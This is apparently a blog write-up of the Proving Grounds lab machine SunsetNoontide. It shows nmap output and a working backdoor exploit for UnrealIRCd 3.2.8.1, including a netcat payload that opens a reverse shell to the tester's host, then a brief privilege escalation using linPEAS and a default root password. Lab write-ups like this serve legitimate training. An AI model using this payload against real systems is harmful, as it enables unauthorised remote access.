Security Analyst | Security Researcher | CRTP

Proving grounds Play: SunsetNoontide

Proving grounds Play - SunsetNoontide CTF writeup.

Nmap

PORT     STATE SERVICE VERSION
6667/tcp open  irc     UnrealIRCd
| irc-info: 
|   users: 1
|   servers: 1
|   lusers: 1
|   lservers: 0
|   server: irc.foonet.com
|   version: Unreal3.2.8.1. irc.foonet.com 
|   uptime: 205 days, 6:52:38
|   source ident: nmap
|   source host: 46E8C50E.C2311716.EA8777A3.IP
|_  error: Closing Link: aguqweprx[192.168.45.209] (Quit: aguqweprx)
Service Info: Host: irc.foonet.com6697/tcp open  irc     UnrealIRCd
8067/tcp open  irc     UnrealIRCd (Admin email example@example.com)

Unreal3.2.8.1. irc.foonet.com

The Unreal3.2.8.1. irc.foonet.com is vulnerable to remote code execution. The simple way to exploit the vulnerability is to send OS commands follwed by the AB; string.

Exploitation

Connect to the PORT using netcat. Make sure to run netcat listener on PORT 1234.

# connect to PORT 
nc -nv $IP 6667

# send payload after connection
AB; nc 192.168.45.209 1234 -e /bin/bash

Initial Foothold Obtained

img

Privilege Escalation

Download and run linPEAS.

The results shows the root user access can be obtained by switching to root using password as root.

img

Thanks for reading!

For more updates and insights, follow me on Twitter: @thevillagehacker.